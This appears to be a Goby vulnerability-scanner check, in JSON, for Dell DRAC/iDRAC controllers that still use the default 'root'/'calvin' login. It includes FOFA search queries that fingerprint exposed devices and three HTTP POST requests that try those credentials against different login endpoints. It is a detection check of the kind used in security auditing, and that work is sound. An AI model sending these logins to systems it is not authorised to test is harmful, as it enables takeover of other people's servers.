Goby/json/Dell-DARC-Default-Credentia...

138 lines
4.1 KiB
JSON

{
"Name": "Dell DARC Default Credentials",
"Description": "The DARC administrator 'root' has a password that is set to the default value of 'calvin'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ",
"Product": "Dell-DRAC",
"Homepage": "https://www.delltechnologies.com/en-us/solutions/openmanage/idrac.htm",
"DisclosureDate": "2012-04-23",
"Author": "gobysec@gmail.com",
"FofaQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
"GobyQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
"Level": "3",
"Impact": "Remote attacker can use this default to control the server.",
"Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.",
"References": [
"https://www.trustedsec.com/blog/owning-dell-drac-awesome-hack/"
],
"HasExp": false,
"ExpParams": [],
"ExpTips": {
"Type": "Tips",
"Content": ""
},
"ScanSteps": [
"OR",
{
"Request": {
"data": "user=root&password=calvin",
"data_type": "text",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"method": "POST",
"uri": "/data/login"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "<authResult>0</authResult>",
"variable": "$body"
},
{
"bz": "The maximum number of user sessions has been reached!",
"operation": "contains",
"type": "item",
"value": "<authResult>5</authResult>",
"variable": "$body"
}
],
"operation": "OR",
"type": "group"
},
"SetVariable": []
},
{
"Request": {
"data": "user=root&password=calvin&WEBSERVER_timeout=1800&WEBSERVER_timeout_select=1800",
"data_type": "text",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"method": "POST",
"uri": "/cgi-bin/webcgi/login"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "/cgi-bin/webcgi/index",
"variable": "$body"
},
{
"bz": "no free session",
"operation": "contains",
"type": "item",
"value": "Connection refused, maximum sessions already in use",
"variable": "$body"
}
],
"operation": "OR",
"type": "group"
},
"SetVariable": []
},
{
"Request": {
"data": "WEBVAR_USERNAME=root&WEBVAR_PASSWORD=calvin&WEBVAR_ISCMCLOGIN=0",
"data_type": "text",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"method": "POST",
"uri": "/Applications/dellUI/RPC/WEBSES/create.asp"
},
"ResponseTest": {
"checks": [
{
"bz": "no free session",
"operation": "contains",
"type": "item",
"value": "Failure_No_Free_Slot",
"variable": "$body"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "'USERNAME' : 'root'",
"variable": "$body"
}
],
"operation": "OR",
"type": "group"
},
"SetVariable": []
}
],
"ExploitSteps": null,
"Tags": [
"defaultaccount"
],
"CVEIDs": null,
"CVSSScore": "10.0",
"AttackSurfaces": {
"Application": null,
"Support": ["Dell-DRAC"],
"Service": null,
"System": null,
"Hardware": null
},
"Disable": false
}